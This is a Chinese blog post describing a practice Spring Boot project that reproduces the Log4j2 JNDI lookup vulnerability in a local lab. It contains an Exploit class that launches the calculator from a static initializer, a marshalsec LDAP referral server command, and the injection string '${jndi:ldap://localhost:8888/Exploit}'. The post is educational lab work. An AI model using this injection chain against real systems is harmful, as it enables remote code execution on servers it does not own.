当前位置: 首页 > news >正文

简单spring boot项目,之前练习的,现在好像没有达到效果

  1. 简单的springboot项目 访问 http:localhost:8080 404就是启动成功了
  2. java调用命令行打开电脑计算器
  3. TODO 日志那部分有点问题,没有达到预期

spring boot 项目启动类

package com.log4j2test;import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class Log4j2Application {public static void main(String[] args) {SpringApplication.run(Log4j2Application.class, args);}}

一些日志测试的demo

打开电脑计算器

package com.log4j2test.slf4j;/*** @author* @data 2021/12/20* @time 9:58* @Description  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888*/
public class Exploit {/*** 服务器代码*/static {System.err.println("Pwned");try {String calcStr = "calc";Runtime.getRuntime().exec(calcStr);} catch (Exception var1) {var1.printStackTrace();}}
}

测试日志并且调用打开电脑计算器

public class LogTest {public static final Logger logger = LoggerFactory.getLogger(LogTest.class);public static void main(String[] args) {logger.error("${jndi:ldap://localhost:8888/Exploit}");Exploit exploit =new Exploit();System.out.println(exploit);}
}

controller 这个没有达到预期

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;/*** @author* @data 2021/12/20* @time 10:02* @Description*/
@Controller
public class TestController {public static final Logger logger = LoggerFactory.getLogger(LogTest.class);@PostMapping("/slf4j/hello")public void hello(){// 若输出 Java OS系统版本,则说明log4j将${}中的内容当作命令来执行了,不符合预期// 将log4j-core排除后运行该代码,结果则是当做字符串输出,符合预期结果logger.error("java:os : ${java:os}");}
}

一个空的application.properties
一个空的spring boot 测试类

package com.log4j2test;import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;@SpringBootTest
class Log4j2ApplicationTests {@Testvoid contextLoads() {}}
http://www.xdnf.cn/news/1250911.html

相关文章:

  • 攻防世界WEB(新手模式)20-unseping
  • Android14的QS面板的加载解析
  • Tesseract + Poppler 实现图片型 PDF 转文字
  • jmm 指令重排 缓存可见性 Volatile 内存屏障
  • Perforce P4 Plan - DevOps实时规划工具
  • Python day36
  • 基于单片机智能浇花/智能灌溉/智慧农业/智能大棚
  • 双馈和永磁风机构网型跟网型联合一次调频并入同步机电网,参与系统一次调频,虚拟惯量下垂,虚拟同步机VSG控制matlab/simulink
  • 【软考系统架构设计师备考笔记5】 - 专业英语
  • 【关于Java的泛型(基础)】
  • 《动手学深度学习》读书笔记—9.3深度循环神经网络
  • 阿里云 Flink
  • 第七章课后综合练习
  • SpringBoot 3.x整合Elasticsearch:从零搭建高性能搜索服务
  • 【网络基础】计算机网络发展背景及传输数据过程介绍
  • vue3 vite 使用vitest 单元测试 组件测试
  • Lesson 31 Success story
  • 【C++详解】STL-set和map的介绍和使用样例、pair类型介绍、序列式容器和关联式容器
  • 蓝桥杯----锁存器、LED、蜂鸣器、继电器、Motor
  • RN项目环境搭建和使用-Mac版本(模拟器启动不起来的排查)
  • 软件定义汽车 --- 电子电气架构的驱动
  • 【pytorch(02)】Tensor(张量)概述、如何创建、常见属性,切换设备
  • AI学习之大话transformer架构
  • 2025年08月 GitHub 热门项目推荐
  • Spring选择哪种方式代理?
  • 电子电气架构 ---如何焕新升级为 48V 电气架构
  • 无人机航拍数据集|第4期 无人机太阳光伏板红外目标检测YOLO数据集10945张yolov11/yolov8/yolov5可训练
  • OpenHarmony源码解析之init进程
  • Android Activity webView页面视频悬浮小窗播放效果及技术难点
  • apache-tomcat-11.0.9安装及环境变量配置